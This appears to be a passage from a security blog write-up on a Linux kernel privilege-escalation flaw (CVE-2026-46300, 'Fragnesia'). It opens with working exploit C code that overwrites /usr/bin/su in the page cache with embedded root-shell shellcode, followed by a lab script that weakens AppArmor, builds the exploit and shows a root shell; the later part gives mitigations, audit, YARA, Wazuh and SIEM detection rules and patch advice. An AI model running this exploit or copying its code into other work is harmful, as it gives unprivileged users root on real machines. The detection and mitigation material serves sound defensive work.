	memset(&prefix, 0xcc, sizeof(prefix));
	prefix.len = htons(sizeof(prefix) + FRAG_LEN);
	prefix.esp[0] = 0x00;
	prefix.esp[1] = 0x00;
	prefix.esp[2] = 0x01;
	prefix.esp[3] = 0x00;
	store_be32(&prefix.esp[4], active_esp_seq);
	memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));

	fd = open(target_file, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("sender open target");
	sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (sock < 0)
		die("sender socket");
	if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
		die("sender TCP_NODELAY");
	if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
		die("sender connect");

	sent = send(sock, &prefix, sizeof(prefix), 0);
	if (sent != (ssize_t)sizeof(prefix))
		die("sender send prefix");

	usleep(SENDER_PRE_SPLICE_US);

	if (pipe(p) < 0)
		die("sender pipe");
	off = target_splice_off;
	start_off = off;
	ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
	if (ret != FRAG_LEN)
		die("sender splice file to pipe");

	ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
	if (ret < 0)
		die("sender splice pipe to tcp");

	printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
	       getuid(), geteuid(), sent, ret, (long long)start_off,
	       (long long)off);

	close(p[0]);
	close(p[1]);
	close(sock);
	close(fd);
	_exit(ret == FRAG_LEN ? 0 : 3);
}

static int run_trigger_pair(void)
{
	int pipefd[2], st_rx, st_tx;
	pid_t rx, tx;

	if (pipe(pipefd) < 0)
		die("pipe");

	rx = fork();
	if (rx < 0)
		die("fork receiver");
	if (rx == 0) {
		close(pipefd[0]);
		receiver(pipefd[1]);
	}

	tx = fork();
	if (tx < 0)
		die("fork sender");
	if (tx == 0) {
		close(pipefd[1]);
		sender(pipefd[0]);
	}

	close(pipefd[0]);
	close(pipefd[1]);
	if (waitpid(tx, &st_tx, 0) < 0)
		die("wait sender");
	if (waitpid(rx, &st_rx, 0) < 0)
		die("wait receiver");

	printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx);
	if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
	    !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
		return -1;
	return 0;
}

static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len)
{
	uint64_t n = (uint64_t)byte_len;

	if (n == 0) {
		fprintf(stderr, "byte range is empty\n");
		exit(2);
	}
	if (n - 1 > UINT64_MAX - byte_off) {
		fprintf(stderr, "byte range overflows uint64_t\n");
		exit(2);
	}
	return byte_off + n - 1;
}

static void draw_smash_frame(const unsigned char *desired, size_t desired_len,
			     const unsigned char *live, size_t idx_current,
			     size_t changed, size_t skipped, int first_draw)
{
	size_t done   = changed + skipped;
	size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
	size_t row, col, bi, i;

	static char frame_buf[8192];
	setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
	if (!first_draw)
		printf("\033[s\033[?25l\033[1;1H");

	printf("\r\033[2K" C_BCYN "[*]" C_RESET
	       " smashing %zu bytes into read-only page cache"
	       "  changed=" C_BGRN "%zu" C_RESET
	       "  skipped=" C_DIM "%zu" C_RESET
	       "  remaining=" C_BYLW "%zu" C_RESET "\n",
	       desired_len, changed, skipped,
	       done < desired_len ? desired_len - done : (size_t)0);

	for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
		int col0_hi = (idx_current < desired_len &&
			       row * 16 == idx_current);
		printf("\r\033[2K" C_DIM "  %04zx%s" C_RESET,
		       row * 16, col0_hi ? " " : "  ");

		for (col = 0; col < 16; col++) {
			bi = row * 16 + col;
			int cur = (idx_current < desired_len && bi == idx_current);

			if (col == 8) {
				printf(cur ? "[" : " ");
				if (cur) {
					printf(C_BYLW "%02x]" C_RESET, live[bi]);
					continue;
				}
			}

			if (bi >= desired_len) { printf("   "); continue; }

			if (bi < idx_current) {
				printf(live[bi] == desired[bi]
				       ? C_BGRN "%02x " C_RESET
				       : C_BRED "%02x " C_RESET, live[bi]);
			} else if (cur) {
				printf(col == 0
				       ? C_BYLW "[%02x]" C_RESET
				       : "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
			} else {
				printf(C_DIM "%02x " C_RESET, desired[bi]);
			}
		}
		printf("\n");
	}

	printf("\r\033[2K  [" C_BGRN);
	for (i = 0; i < filled; i++)          printf("=");
	printf(C_RESET C_DIM);
	for (i = filled; i < FRAME_BAR_W; i++) printf("-");
	printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n",
	       done, desired_len,
	       desired_len ? done * 100 / desired_len : (size_t)100);

	printf("\r\033[2K" C_DIM
	       "────────────────────────────────────────────────────────────"
	       C_RESET "\n");

	fflush(stdout);
	setvbuf(stdout, NULL, _IONBF, 0);
	if (!first_draw)
		printf("\033[?25h\033[u");
}

static int replace_existing_bytes_after(uint64_t byte_off,
					const unsigned char *desired,
					size_t desired_len,
					uint64_t file_size)
{
	uint64_t last = checked_byte_range_last(byte_off, desired_len);
	size_t idx, changed = 0, skipped = 0;
	unsigned char live_state[PAYLOAD_LEN];
	int fd_init;

	if (last >= file_size) {
		fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n",
			(unsigned long long)byte_off, desired_len,
			(unsigned long long)file_size);
		return 2;
	}
	if (last > file_size - FRAG_LEN) {
		fprintf(stderr,
			"collateral-after mode requires requested range end <= size-%d\n",
			FRAG_LEN);
		return 2;
	}

	printf(C_BCYN "\n[*]" C_RESET
	       " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
	       RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
	printf(C_BCYN "[*]" C_RESET
	       " range: offset=0x%llx len=%zu last=0x%llx"
	       " enc_len=%d splice_len=%d\n",
	       (unsigned long long)byte_off, desired_len,
	       (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
	printf(C_BCYN "[*]" C_RESET " ");
	print_hex_bytes("payload", desired, desired_len);
	printf("\n");

	build_stream0_table();
	printf("\n");

	fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
	if (fd_init < 0) die("open live_state init");
	if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len)
		die("pread live_state init");
	close(fd_init);

	printf("\033[2J\033[H");
	draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);

	{
		struct winsize ws;
		int tr = 40;
		if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES)
			tr = (int)ws.ws_row;
		printf("\033[%d;%dr", FRAME_LINES + 1, tr);
		printf("\033[%d;1H", tr);
		fflush(stdout);
	}

	for (idx = 0; idx < desired_len; idx++) {
		uint64_t off = byte_off + idx;
		unsigned char current, final, need_stream;

		live_state[idx] = read_byte_at(target_file, off);
		current = live_state[idx];

		draw_smash_frame(desired, desired_len, live_state, idx,
				 changed, skipped, 0);

		if (current == desired[idx]) {
			printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET,
			       idx + 1, desired_len, (unsigned long long)off, current);
			skipped++;
			continue;
		}

		target_splice_off = (loff_t)off;
		need_stream = current ^ desired[idx];
		choose_iv_for_stream0(need_stream);
		active_esp_seq++;

		printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
		       " +%04llx  " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET
		       "  xor=" C_CYAN "%02x" C_RESET
		       " seq=" C_DIM "%u" C_RESET
		       " nonce=" C_DIM "%u" C_RESET "\n",
		       idx + 1, desired_len, (unsigned long long)off,
		       current, desired[idx], need_stream,
		       active_esp_seq, stream0_nonce[need_stream]);

		printf(C_RESET " firing espintcp splice...\n");

		if (run_trigger_pair() < 0) {
			fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
			return 2;
		}

		final = read_byte_at(target_file, off);
		live_state[idx] = final;

		if (final == desired[idx]) {
			printf(C_BGRN "[+]" C_RESET " smashed"
			       C_DIM " %02x -> %02x  index=%zu offset=+%04llx\n\n" C_RESET,
			       current, final, idx, (unsigned long long)off);
			changed++;
			continue;
		}
		if (final == current) {
			printf(C_BGRN "[-]" C_RESET
			       " fixed behavior: byte unchanged at index=%zu offset=%llu\n",
			       idx, (unsigned long long)off);
			return 0;
		}
		printf(C_BRED "[-]" C_RESET
		       " BUG: byte changed but desired-value check mismatched"
		       " index=%zu offset=%llu desired=%02x got=%02x\n",
		       idx, (unsigned long long)off, desired[idx], final);
		return 1;
	}

	draw_smash_frame(desired, desired_len, live_state, desired_len,
			 changed, skipped, 0);

	printf("\033[r\033[%d;1H\n", FRAME_LINES + 1);

	printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
	for (idx = 0; idx < desired_len; idx++) {
		uint64_t off = byte_off + idx;
		unsigned char final = read_byte_at(target_file, off);

		if (final != desired[idx]) {
			printf(C_BRED "[-]" C_RESET
			       " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
			       idx, (unsigned long long)off, desired[idx], final);
			return 1;
		}
	}

	printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET
	       " skipped=" C_DIM "%zu" C_RESET "\n",
	       desired_len, changed, skipped);
	if (changed == 0) {
		fprintf(stderr, "all requested bytes already had desired values\n");
		return 2;
	}

	printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
	return 1;
}

static void usage(const char *prog)
{
	fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog);
	fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog);
}

static const uint8_t shell_elf[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

int main(int argc, char **argv)
{
	unsigned char *desired;
	uint64_t file_size, byte_off;
	size_t desired_len, sample_len;
	int ret;

	setvbuf(stdout, NULL, _IONBF, 0);

	printf(C_BCYN "[*]" C_RESET
	       " uid=" C_BWHT "%d" C_RESET
	       " euid=" C_BWHT "%d" C_RESET
	       " gid=" C_BWHT "%d" C_RESET
	       " egid=" C_BWHT "%d" C_RESET "\n",
	       getuid(), geteuid(), getgid(), getegid());
	printf(C_BCYN "[*]" C_RESET
	       " mode=xfrm_espintcp_pagecache_replace collateral=after\n");
	printf("\n");

	file_size = use_existing_target("/usr/bin/su");
	byte_off = 0;
	desired = (unsigned char *)shell_elf;
	desired_len = PAYLOAD_LEN;

	printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
	       target_file, (unsigned long long)file_size);
	verify_write_denied("outer");
	setup_user_netns_xfrm();
	verify_write_denied("userns_root_mapped_to_outer_user");

	ret = replace_existing_bytes_after(byte_off, desired, desired_len,
					   file_size);
	write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
	execve("/usr/bin/su", NULL, NULL);
	return ret;
}

Note: The complete source code is available at github.com/v12-security/pocs/tree/main/fragnesia. The patch that fixes the bug is only two lines long. net/core/skbuff.c: lore.kernel.org/netdev/20260513041635.

Lab: reproduction with Vagrant

Requirements

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Internet connection

Important: Fragnesia requires unshare(CLONE_NEWUSER | CLONE_NEWNET). On Ubuntu 24.04+ with AppArmor, you must disable the restriction on non-privileged user namespaces to reproduce the exploit.

Deploy the vulnerable VM

Create the following script deploy_fragnesia_lab.sh:

BASH
#!/bin/bash
# deploy_fragnesia_lab.sh - Lab para CVE-2026-46300 (Fragnesia)
# Uso: chmod +x deploy_fragnesia_lab.sh && ./deploy_fragnesia_lab.sh
# NOTA: Requiere Ubuntu 24.04 con kernel 6.8+.

LAB_DIR="fragnesia_lab"

echo "=== CVE-2026-46300 (Fragnesia) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-46300 (Fragnesia) - Lab vulnerable
# Requiere Ubuntu 24.04 con kernel 6.8+

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "fragnesia-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "fragnesia-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    export DEBIAN_FRONTEND=noninteractive

    # No actualizar kernel para mantener version vulnerable
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null

    # Instalar dependencias
    apt-get update -qq
    apt-get install -y -qq gcc make git curl

    # Deshabilitar restriccion AppArmor de user namespaces
    # (necesario para que el exploit funcione en Ubuntu 24.04+)
    sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
    echo "kernel.apparmor_restrict_unprivileged_userns=0" >> /etc/sysctl.d/99-fragnesia-lab.conf

    # Cargar modulos necesarios
    modprobe xfrm_user 2>/dev/null || true
    modprobe af_key 2>/dev/null || true
    modprobe esp4 2>/dev/null || true

    # Persistir carga de modulos
    cat >> /etc/modules-load.d/fragnesia.conf << 'MODEOF'
xfrm_user
af_key
esp4
MODEOF

    # Crear usuario sin privilegios
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar y compilar el exploit
    cd /home/attacker
    git clone https://github.com/v12-security/pocs.git 2>/dev/null || true
    if [ -f /home/attacker/pocs/fragnesia/fragnesia.c ]; then
      cd /home/attacker/pocs/fragnesia
      gcc -o exp fragnesia.c 2>/dev/null || \
        echo "[!] Compilacion fallida - compilar manualmente: gcc -o exp fragnesia.c"
    fi
    chown -R attacker:attacker /home/attacker/pocs

    echo ""
    echo "============================================"
    echo " CVE-2026-46300 (Fragnesia)"
    echo " LPE via ESP-in-TCP page cache corruption"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   cd pocs/fragnesia && ./exp"
    echo ""
    echo " El exploit sobreescribe /usr/bin/su en"
    echo " page cache con shellcode -> root shell"
    echo ""
    echo " Para limpiar page cache:"
    echo "   echo 1 > /proc/sys/vm/drop_caches"
    echo " O: vagrant destroy -f && vagrant up"
    echo ""
    echo " Para mitigar:"
    echo "   rmmod esp4 esp6 2>/dev/null"
    echo "   printf 'install esp4 /bin/false\n"
    echo "   install esp6 /bin/false\n' > "
    echo "     /etc/modprobe.d/fragnesia.conf"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Execute:

BASH
chmod +x deploy_fragnesia_lab.sh
./deploy_fragnesia_lab.sh

Verify that the system is vulnerable

BASH
vagrant ssh

# Comprobar kernel
uname -r
# 6.8.0-111-generic (o similar, vulnerable)

# Comprobar que los modulos estan cargados
lsmod | grep -E "xfrm|esp"
# xfrm_user   61440  0
# esp4         28672  0

# Verificar que AppArmor no bloquea user namespaces
sysctl kernel.apparmor_restrict_unprivileged_userns
# kernel.apparmor_restrict_unprivileged_userns = 0

Run the exploit

BASH
# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
cd pocs/fragnesia
./exp

# Salida esperada:
# [*] Fragnesia - CVE-2026-46300
# [*] ESP-in-TCP page cache LPE
# [*] uid=1001
# [+] built nonce table (256 entries)
# [+] writing payload: 192 bytes to /usr/bin/su
# [+] byte 0: 0x7f (ELF magic) ... ok
# [+] byte 1: 0x45 ... ok
# ...
# [+] /usr/bin/su patched in page cache
# [+] spawning root shell...
#
# id
# uid=0(root) gid=0(root) groups=0(root)

Clean after testing

BASH
# Como root, descartar page cache (restaura /usr/bin/su desde disco)
echo 1 > /proc/sys/vm/drop_caches

# Verificar que su vuelve a la normalidad
file /usr/bin/su
# /usr/bin/su: ELF 64-bit LSB pie executable, x86-64...

# O destruir la VM completamente
vagrant destroy -f && vagrant up

Workaround: same as Dirty Frag

The mitigation is identical to Dirty Frag. Disable ESP modules and block your automatic recharge (important: rmmod Without the modprobe blacklist it is not enough, since the exploit causes the automatic loading of the modules via TCP_ULP):

BASH
# Mitigacion one-liner (los tres pasos son necesarios)
rmmod esp4 esp6 2>/dev/null; printf 'install esp4 /bin/false\ninstall esp6 /bin/false\n' > /etc/modprobe.d/fragnesia.conf; echo 1 > /proc/sys/vm/drop_caches

# Verificar
lsmod | grep esp
# (sin output = modulos descargados)

What breaks this:

  • Affects: IPsec (libreswan, strongSwan)
  • Does not affect: WireGuard, OpenVPN, SSH, TLS/SSL, firewalls (iptables/nftables)
  • How to verify impact: ip xfrm state list (if there are active SAs, there is IPsec in use)

For Ubuntu 24.04+, AppArmor's restriction on user namespaces (kernel.apparmor_restrict_unprivileged_userns=1) provides additional mitigation by default, although V12 indicates that bypasses exist.

Attack detection

auditd rule

BASH
# /etc/audit/rules.d/fragnesia.rules

# Detectar TCP_ULP espintcp (indicador clave del exploit)
-a always,exit -F arch=b64 -S setsockopt -F a1=6 -F a2=31 -k fragnesia_ulp

# Detectar carga de modulos ESP
-a always,exit -F arch=b64 -S init_module -S finit_module -k fragnesia_modload

# Detectar unshare con CLONE_NEWUSER + CLONE_NEWNET
-a always,exit -F arch=b64 -S unshare -k fragnesia_unshare

# Detectar ejecucion de /usr/bin/su por usuarios no-root
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -F auid>=1000 -k fragnesia_su_exec
BASH
augenrules --load

YARA rule

YARA
rule Fragnesia_CVE_2026_46300 {
    meta:
        description = "Detecta el exploit Fragnesia (CVE-2026-46300)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-46300"
        severity = "critical"

    strings:
        // Strings del exploit
        $s1 = "fragnesia" ascii nocase
        $s2 = "espintcp" ascii
        $s3 = "TCP_ULP" ascii
        $s4 = "page cache" ascii
        $s5 = "nonce_table" ascii
        $s6 = "build_nonce_table" ascii
        $s7 = "v12-security" ascii

        // Shellcode setresuid(0,0,0) + setresgid(0,0,0)
        $shellcode = { 31 ff 31 f6 31 c0 b0 }

        // Patron de setup XFRM SA con SPI 0x100
        $xfrm_spi = { 00 01 00 00 }

    condition:
        ($s1 and ($s2 or $s3)) or
        ($s2 and $s5) or
        ($s6 and $s7) or
        ($shellcode and $s1) or
        (4 of ($s*))
}

Wazuh Rules

Add in /var/ossec/etc/rules/local_rules.xml:

XML
<group name="fragnesia,exploit,cve-2026-46300">

  <!-- Deteccion de TCP_ULP espintcp via auditd -->
  <rule id="100520" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">fragnesia_ulp</field>
    <description>CVE-2026-46300: TCP_ULP espintcp detectado (posible Fragnesia)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de carga de modulos ESP -->
  <rule id="100521" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">fragnesia_modload</field>
    <description>CVE-2026-46300: Carga de modulo esp4/esp6 detectada</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de unshare sospechoso -->
  <rule id="100522" level="8">
    <if_sid>80700</if_sid>
    <field name="audit.key">fragnesia_unshare</field>
    <description>CVE-2026-46300: unshare() detectado (posible setup de exploit)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Correlacion: ULP + su exec en menos de 60 segundos -->
  <rule id="100523" level="15" frequency="2" timeframe="60">
    <if_matched_sid>100520</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-46300: Explotacion Fragnesia en curso (espintcp ULP + su correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

</group>

Elastic Security / Splunk

CODE
# Kibana KQL: TCP_ULP espintcp
auditd.data.key: "fragnesia_ulp" OR (process.name: "su" AND auditd.data.key: "fragnesia_su_exec")

# Splunk SPL: correlacion
index=linux sourcetype=linux:audit (key="fragnesia_ulp" OR key="fragnesia_unshare")
| transaction host auid maxspan=60s
| where eventcount >= 2
| table _time, host, auid, exe, key

Quick detection script

BASH
#!/bin/bash
# check_fragnesia.sh - Verificar estado de CVE-2026-46300

echo "=== CVE-2026-46300 (Fragnesia) - Check ==="
echo ""

VULN=0

# 1. Verificar modulos ESP
for mod in esp4 esp6; do
    if lsmod | grep -q "^$mod"; then
        echo "[VULNERABLE] Modulo $mod cargado"
        VULN=1
    else
        echo "[OK] Modulo $mod NO cargado"
    fi
done

# 2. Verificar restriccion de user namespaces (Ubuntu)
echo ""
RESTRICT=$(sysctl -n kernel.apparmor_restrict_unprivileged_userns 2>/dev/null)
if [ "$RESTRICT" = "1" ]; then
    echo "[MITIGADO] AppArmor restringe user namespaces no privilegiados"
elif [ "$RESTRICT" = "0" ]; then
    echo "[RIESGO] AppArmor NO restringe user namespaces"
    VULN=1
else
    echo "[INFO] AppArmor restrict_unprivileged_userns no disponible (no Ubuntu?)"
fi

# 3. Verificar kernel
echo ""
echo "[INFO] Kernel: $(uname -r)"

# 4. Verificar integridad de /usr/bin/su
echo ""
echo "Verificando integridad de /usr/bin/su..."
MAGIC=$(xxd -l 4 -p /usr/bin/su 2>/dev/null)
if [ "$MAGIC" = "7f454c46" ]; then
    echo "  [OK] /usr/bin/su tiene magic ELF correcto"
    # Verificar que no es el shellcode (primer byte despues del header)
    BYTE=$(xxd -s 0x78 -l 2 -p /usr/bin/su 2>/dev/null)
    if [ "$BYTE" = "31ff" ]; then
        echo "  [CRITICO] /usr/bin/su contiene shellcode en offset 0x78 - COMPROMETIDO"
        VULN=2
    fi
else
    echo "  [SOSPECHOSO] /usr/bin/su tiene magic inusual: $MAGIC"
fi

# 5. Buscar el exploit
echo ""
echo "Buscando indicadores de compromiso..."
for dir in /home /tmp /var/tmp /dev/shm; do
    find "$dir" \( -name "fragnesia*" -o -name "fragnesia.c" \) 2>/dev/null | while read f; do
        echo "  [ALERTA] Posible exploit encontrado: $f"
    done
done

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema comprometido - /usr/bin/su modificado en page cache"
    echo "          Accion inmediata: echo 1 > /proc/sys/vm/drop_caches"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Aplicar workaround:"
    echo "  rmmod esp4 esp6 2>/dev/null"
    echo "  printf 'install esp4 /bin/false\ninstall esp6 /bin/false\n' > /etc/modprobe.d/fragnesia.conf"
    echo "  echo 1 > /proc/sys/vm/drop_caches"
else
    echo "[OK] Sistema no vulnerable o mitigado"
fi

Definitive solution: update the kernel

The patch is only two lines in net/core/skbuff.c. Preserves the shared fragment marker during coalescing, preventing the kernel from processing page cache pages as ESP ciphertext.

Apply patch by distribution

BASH
# Ubuntu
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

# RHEL/Rocky/Alma
sudo dnf update kernel -y
sudo reboot

# Fedora
sudo dnf update kernel -y
sudo reboot

# Verificar
uname -r
# Kernel con parche aplicado

Chronology of LPEs page cache in 2026

DateVulnerabilityCVESubsystem
April 29Copy FailCVE-2026-31431crypto (algif_aead)
May 7Dirty FragCVE-2026-43284 + CVE-2026-43500xfrm ESP + RxRPC
May 13FragnesiaCVE-2026-46300xfrm ESP-in-TCP (espintcp ULP)

Three LPEs via page cache in less than three weeks. They all exploit different paths to reach the same result: arbitrary writing to read-only pages of the VFS page cache. The pattern is clear: the intersection between kernel networking subsystems and the page cache is a fertile attack surface that will continue to produce vulnerabilities.

Recommended response plan

PriorityActionTime
ImmediateVerify that /usr/bin/su does not contain shellcode (xxd -s 0x78 -l 2 -p)< 15 min
ImmediateApply workaround (rmmod esp4 esp6 + modprobe blacklist)< 1 hour
ImmediateVerify kernel.apparmor_restrict_unprivileged_userns=1 in Ubuntu< 15 min
24hDeploy audit rules and SIEM< 24h
72hSchedule kernel patch window< 72h
1 weekUpdate kernel on all systems< 7 days

Conclusions

Fragnesia (CVE-2026-46300) confirms that the "page cache write via network subsystems" vulnerability class is not exhausted. Key points:

  • Same workaround as Dirty Frag: rmmod esp4 esp6 and blacklist of modules. If you have already applied Dirty Frag mitigation, you are covered
  • Trivial patch: two lines in skbuff.c. The problem is that it has not yet reached stable or distributions
  • AppArmor mitigates on Ubuntu: The restriction of non-privileged user namespaces blocks the exploit, but there are bypasses and not all distros implement it
  • Byte-by-byte writing: slower than Dirty Frag (which writes 4 bytes per trigger) but more controlled and without the need for cryptographic brute force

If your infrastructure has already been mitigated against Dirty Frag, Fragnesia is covered. If not, apply the workaround now and patch the kernel when the fix reaches your distribution.

References

Comments